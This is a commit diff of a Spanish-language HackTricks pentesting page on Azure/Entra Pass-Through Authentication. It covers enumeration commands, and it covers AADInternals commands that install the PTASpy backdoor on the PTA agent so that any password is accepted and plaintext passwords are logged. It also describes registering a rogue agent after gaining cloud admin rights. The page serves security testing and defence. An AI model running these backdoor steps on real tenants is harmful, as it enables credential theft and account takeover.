mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-12 13:05:19 -08:00
Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo
This commit is contained in:
@@ -4,11 +4,11 @@
|
||||
|
||||
## Información Básica
|
||||
|
||||
[Desde la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) La Autenticación Passthrough de Azure Active Directory (Azure AD) permite a tus usuarios **iniciar sesión tanto en aplicaciones locales como en aplicaciones basadas en la nube utilizando las mismas contraseñas**. Esta función proporciona a tus usuarios una mejor experiencia: una contraseña menos que recordar, y reduce los costos del soporte técnico de TI porque es menos probable que tus usuarios olviden cómo iniciar sesión. Cuando los usuarios inician sesión utilizando Azure AD, esta función **valida las contraseñas de los usuarios directamente contra tu Active Directory local**.
|
||||
[Desde la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) La autenticación passthrough de Microsoft Entra permite a sus usuarios **iniciar sesión tanto en aplicaciones locales como en aplicaciones basadas en la nube utilizando las mismas contraseñas**. Esta función proporciona a sus usuarios una mejor experiencia: una contraseña menos que recordar, y reduce los costos del servicio de asistencia de TI porque es menos probable que sus usuarios olviden cómo iniciar sesión. Cuando los usuarios inician sesión utilizando Microsoft Entra ID, esta función valida las contraseñas de los usuarios directamente contra su Active Directory local.
|
||||
|
||||
En PTA, las **identidades** están **sincronizadas** pero las **contraseñas** **no** lo están como en PHS.
|
||||
En PTA **las identidades** están **sincronizadas** pero **las contraseñas no** como en PHS.
|
||||
|
||||
La autenticación se valida en el AD local y la comunicación con la nube se realiza a través de un **agente de autenticación** que se ejecuta en un **servidor local** (no necesita estar en el DC local).
|
||||
La autenticación se valida en el AD local y la comunicación con la nube se realiza mediante un **agente de autenticación** que se ejecuta en un **servidor local** (no necesita estar en el DC local).
|
||||
|
||||
### Flujo de Autenticación
|
||||
|
||||
@@ -17,25 +17,59 @@ La autenticación se valida en el AD local y la comunicación con la nube se rea
|
||||
1. Para **iniciar sesión**, el usuario es redirigido a **Azure AD**, donde envía el **nombre de usuario** y la **contraseña**.
|
||||
2. Las **credenciales** son **encriptadas** y colocadas en una **cola** en Azure AD.
|
||||
3. El **agente de autenticación local** recoge las **credenciales** de la cola y las **desencripta**. Este agente se llama **"agente de autenticación passthrough"** o **agente PTA.**
|
||||
4. El **agente** **valida** las credenciales contra el **AD local** y envía la **respuesta** **de vuelta** a Azure AD, que, si la respuesta es positiva, **completa el inicio de sesión** del usuario.
|
||||
4. El **agente** **valida** las credenciales contra el **AD local** y envía la **respuesta** **de vuelta** a Azure AD que, si la respuesta es positiva, **completa el inicio de sesión** del usuario.
|
||||
|
||||
> [!WARNING]
|
||||
> Si un atacante **compromete** el **PTA**, puede **ver** todas las **credenciales** de la cola (en **texto claro**).\
|
||||
> También puede **validar cualquier credencial** en AzureAD (ataque similar a la llave maestra).
|
||||
|
||||
### Local -> nube
|
||||
### Enumeración
|
||||
|
||||
Si tienes acceso **administrativo** al **servidor Azure AD Connect** con el **agente PTA** en ejecución, puedes usar el módulo **AADInternals** para **insertar una puerta trasera** que **validará TODAS las contraseñas** introducidas (así que todas las contraseñas serán válidas para la autenticación):
|
||||
Desde Entra ID:
|
||||
```bash
|
||||
Install-AADIntPTASpy
|
||||
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
|
||||
# Example response:
|
||||
{
|
||||
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
|
||||
"value": [
|
||||
{
|
||||
"agents": [
|
||||
{
|
||||
"externalIp": "20.121.45.57",
|
||||
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
|
||||
"machineName": "ConnectSync.hacktricks-con.azure",
|
||||
"status": "active",
|
||||
"supportedPublishingTypes": [
|
||||
"authentication"
|
||||
]
|
||||
}
|
||||
],
|
||||
"displayName": "Default group for Pass-through Authentication",
|
||||
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
|
||||
"isDefault": true,
|
||||
"publishingType": "authentication"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Verifica si el agente se está ejecutando en el servidor local:
|
||||
```bash
|
||||
Get-Service -Name "AzureADConnectAuthenticationAgent"
|
||||
```
|
||||
## Pivoting
|
||||
|
||||
Si tienes acceso **admin** al **servidor de Azure AD Connect** con el **agente** **PTA** en ejecución, puedes usar el módulo **AADInternals** para **insertar una puerta trasera** que **validará TODAS las contraseñas** introducidas (así que todas las contraseñas serán válidas para la autenticación):
|
||||
```bash
|
||||
Install-Module AADInternals -RequiredVersion 0.9.3
|
||||
Import-Module AADInternals
|
||||
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
|
||||
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text
|
||||
|
||||
Remove-AADIntPTASpy # Remove the backdoor
|
||||
```
|
||||
> [!NOTE]
|
||||
> Si la **instalación falla**, esto se debe probablemente a la falta de [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
|
||||
|
||||
También es posible **ver las contraseñas en texto claro enviadas al agente PTA** utilizando el siguiente cmdlet en la máquina donde se instaló el backdoor anterior:
|
||||
```bash
|
||||
Get-AADIntPTASpyLog -DecodePasswords
|
||||
```
|
||||
Este backdoor hará:
|
||||
|
||||
- Crear una carpeta oculta `C:\PTASpy`
|
||||
@@ -43,22 +77,20 @@ Este backdoor hará:
|
||||
- Inyectar `PTASpy.dll` al proceso `AzureADConnectAuthenticationAgentService`
|
||||
|
||||
> [!NOTE]
|
||||
> Cuando el servicio AzureADConnectAuthenticationAgent se reinicia, PTASpy se “descarga” y debe ser reinstalado.
|
||||
|
||||
### Nube -> Local
|
||||
> Cuando el servicio AzureADConnectAuthenticationAgent se reinicia, PTASpy es “descargado” y debe ser reinstalado.
|
||||
|
||||
> [!CAUTION]
|
||||
> Después de obtener **privilegios de GA** en la nube, es posible **registrar un nuevo agente PTA** configurándolo en una **máquina controlada por el atacante**. Una vez que el agente está **configurado**, podemos **repetir** los **pasos anteriores** para **autenticar usando cualquier contraseña** y también, **obtener las contraseñas en texto claro.**
|
||||
> Después de obtener **privilegios de GA** en la nube, es posible **registrar un nuevo agente PTA** y **repetir** los pasos **previos** para **autenticar usando cualquier contraseña** y también, **obtener las contraseñas en texto claro.**
|
||||
|
||||
### SSO Sin Interrupciones
|
||||
### Seamless SSO
|
||||
|
||||
Es posible usar SSO Sin Interrupciones con PTA, que es vulnerable a otros abusos. Revísalo en:
|
||||
Es posible usar Seamless SSO con PTA, que es vulnerable a otros abusos. Revísalo en:
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## Referencias
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta)
|
||||
- [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)
|
||||
|
||||
Reference in New Issue
Block a user